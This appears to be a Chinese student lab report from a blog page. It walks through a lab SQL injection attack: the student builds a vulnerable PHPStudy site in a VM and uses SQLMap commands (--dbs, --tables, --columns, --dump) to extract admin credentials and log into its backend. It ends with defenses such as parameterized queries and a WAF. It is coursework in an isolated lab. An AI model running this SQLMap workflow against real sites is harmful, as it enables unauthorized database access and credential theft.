信息系统安全实验之SQLMap工具使用综合实验

一、实验目的

 

1.了解SQLMAP的基本使用方法;

2.掌握使用SQLMAP获取数据库信息的流程。

[需要掌握的前置知识:(1)了解搭建网站的过程;(2)掌握搭建PHPStudy网站的方法]

二、实验环境

1.操作系统:Windows 7*2(虚拟机环境),其中PC1为攻击者,PC2为靶机。

2.工具:SQLMap、PHPStudy。

三、实验步骤和结果

1.用Vmware安装好实验所需的操作系统环境:Windows 7*2,如下所示:

 

2.在PC1安装好python2.7,检查是否安装成功:

3.将sqlmap文件夹复制到python目录中,检查是否安装成功:

        输入“python sqlmap.py -hh”,查看SQLMap的使用说明:

4.在PC2上使用PHPStudy搭建网站:

(1)开启Apache和MySQL服务:

(2)配置端口和网站目录,配置好后重启Apache:

(3)将“code”目录下的”jnng”文件夹复制到“C:\PHPstudy\MySQL\data”目录中:

(4)在PHPStudy打开php-ini,修改配置文件:

        将521行的“error_reporting = E_ALL|E_STRICT”语句修改为“error_reporting = E_ALL & ~E_NOTICE”:

    修改后保存,然后点击PHPStudy的“重启”键。

(5)访问目标网站。(这里用的是ip访问方法,域名访问方法在后面)在PC2中打开IE浏览器,在地址栏中输入目标网站的URL:“http://本机IP地址或127.0.0.1”,可以访问到目标网站首页内容:

5.搭建一个域名为自己学号的网站:

(1)将端口设为80(可进行端口检测,判断端口80是否可使用),设置网站目录为C:/PHPstudy/WWW/phpMyAdmin,点击应用:

 

(2)点击站点域名管理,输入网站域名为www.2020211950.com,网站端口为80,点击“新增”后再点击“保存设置并生成配置文件”:

(3)打开host,在输入127.0.0.1后跟刚刚设置的域名www.2020211950.com,保存后重启phpstudy:

(4)打开浏览器,输入域名www.2020211950.com并访问,得到搭建的网站:

        根据上面操作的启发,可以使用域名访问的方式访问网站。我将上面“站点域名管理”的“网站目录”修改为“C:\code\sql”,其余设置不变:

        然后重启PHPStudy,在浏览器输入“www.2020211950.com”。仍然能够成功访问网站:

6.使用PC1对PC2发起SQL注入攻击:

(1)在PC2的命令行输入ipconfig,查看其ip地址:

        可以看到PC2的ip地址为192.168.161.135。

(2)在PC1的浏览器中输入http://192.168.161.135/ry.php?ry_id=1,查看搭建好的SQL注入点:

 

(3)检测注入点是否可用。切换到PC1的命令行的相应目录下,输入“python sqlmap.py -u "http:// 192.168.161.135/ry.php?ry_id=1"”,其中“-u”参数用于指定注入点的URL。如下图所示:

(4)输入“C”选择continue,之后出现的所有选择都选择“y”:

(5)查看检测结果:

(6)列出所有数据库名称。在命令行输入“python sqlmap.py  -u " http:// 192.168.161.135/ry.php?ry_id=1" –dbs”:

        从上图可以看到一共6个数据库。

(7)查看数据库当前使用账户。输入“python sqlmap.py –u "http://192.168.161.135/ ry.php?ry_id=1" –current-user”:

        可以看到当前使用账户为“root@localhost”。

(8)列出数据库“jnng”中的表。输入“python sqlmap.py –u "http://192.168.161.135/ ry.php?ry_id=1" -D jnng --tables”:

        可以看到,存在表“root”。

(9)列出表“root”中的字段。输入“python sqlmap.py –u "http://192.168.161.135/ ry.php?ry_id=1" -D jnng -T root –columns”:

        可以看到“root”表有三个字段“root_id”、“root_name”、“root_pass”。

(10)破解字段内容。输入“python sqlmap.py –u "http://192.168.161.135/ ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”:

        可以得到管理员用户名“admin”和密码“admin888”。如下图所示:

(11)打开IE浏览器,在地址栏输入“http://192.168.161.135/isadmin/login.php”,进入网站后台登录界面,输入用户名 “admin”, 输入密码 “admin888”,输入验证码,点击“登录”,可以成功进入网站后台:

        至此,SQL注入成功。

7. 在后台增加一个用户,用户名为bupt2020211950,口令为2020211950@bupt:

8.使用MySQL-Front查询后台的用户列表,证明成功插入用户:

        点击数据浏览器,查看用户,可以看到现在网站中共有两名管理员,admin和bupt2020211950,密码以密文保存:

四、实验收获

1.实验过程中遇到的问题及其解决方法

(1)在安装Windows 7虚拟机后,由于需要将主机下载好的实验文件粘贴到虚拟机中,就要安装VMware Tools。刚开始安装时,会报错,安装不了。

解决方法:下载带有sp1的Windows 7镜像,重新安装虚拟机,并下载了必要的补丁,这样就能成功安装VMware Tools了。

(2)在PC2上使用PHPStudy搭建网站,进行端口检测时,会报错:系统未安装VC9。

解决方法:在主机上下载VC9(主机下载更方便),然后将VC9复制粘贴到PC2中进行安装。

(3)使用PHPSstudy打开host文件进行修改后,在保存时,系统提示无法保存。

        解决方法:给当前用户(7xun)提升对host文件的权限(我设置的完全控制),然后修改host文件后就能成功保存了。

2.实验的心得体会和收获

(1)对搭建虚拟机的过程更加熟悉了,同时解决了搭建过程中的各种问题;

(2)掌握了PHPStudy搭建网站的基本方法;

(3)知道了如何利用SQL注入、如何完成SQL注入,并初步掌握了对SQLMap这个工具的使用。

总的来说,通过这次实验,我对SQL注入这种攻击方式有了更加深刻的认识,这是从课本上获取不到的。正所谓“纸上得来终觉浅,绝知此事要躬行”。

五、实验思考

(1)在本次实验中,我注意到:注入点已经提前给出,而如果注入点没有给出的话,就需要我们手动寻找注入点。这就可以利用一些有效的扫描工具,比如AWVS工具。

(2)根据SQL注入的原理,可以得到一种防范方法,就是对构成网站的目录中(在实验中该目录为C:/code/sql)的相关php文件(比如ry.php)进行修改,这样可以使得SQLMap无法检测到注入点。

 

        上图就是对ry.php文件进行修改以达到保护网站的目的。(第一张图未保护,第二张图实现了保护)

(3)通过查询资料,我发现还有一种防范SQL注入的方法,就是设置WAF防火墙。有时间我也会尝试下载一个WAF防火墙,来实践一下。

(4)此外,强制使用参数化语句、加强对用户输入的验证等方法,也是防止SQL注入攻击网站的有效手段。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Kali工具sqlmap是一款用于自动化检测和利用SQL注入漏洞的工具使用sqlmap可以帮助安全研究人员和渗透测试人员快速发现和利用网站中存在的SQL注入漏洞。 使用sqlmap的步骤如下: 1. 首先,你需要在Kali Linux系统上安装sqlmap工具。Kali Linux是一款专为渗透测试和网络安全而设计的操作系统,sqlmap是其中的一个内置工具。你可以使用命令"apt-get install sqlmap"来安装sqlmap工具。 2. 在安装完成后,你可以使用命令"sqlmap -u URL"来指定要测试的目标URL。这个URL应该是一个包含SQL注入漏洞的网站页面。sqlmap将会对该URL进行检测,以确定是否存在SQL注入漏洞。 3. 如果sqlmap检测到目标URL存在SQL注入漏洞,它将会显示出注入点的位置。你可以使用命令"sqlmap -u URL --dbs"来获取目标数据库的信息。这个命令将会列出所有的数据库名称。 4. 接下来,你可以使用命令"sqlmap -u URL -D database_name --tables"来获取目标数据库中的所有表名。这个命令将会列出所有的表名。 5. 一旦你获取到了目标数据库中的表名,你可以使用命令"sqlmap -u URL -D database_name -T table_name --columns"来获取指定表中的所有列名。这个命令将会列出指定表中的所有列名。 6. 最后,你可以使用命令"sqlmap -u URL -D database_name -T table_name -C column_name --dump"来获取指定列中的数据。这个命令将会列出指定列中的所有数据。 请注意,为了保护目标网站的安全和合法性,你需要在授权的情况下使用sqlmap工具进行SQL注入测试。同时,你也应该遵守法律法规和道德规范,在进行任何渗透测试活动时要遵循合法和合规的原则。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [kali基于sqlmap使用](https://blog.csdn.net/qq_53123067/article/details/124447705)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [Kali使用手册top10工具part2](https://download.csdn.net/download/yifan2dj/8031897)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值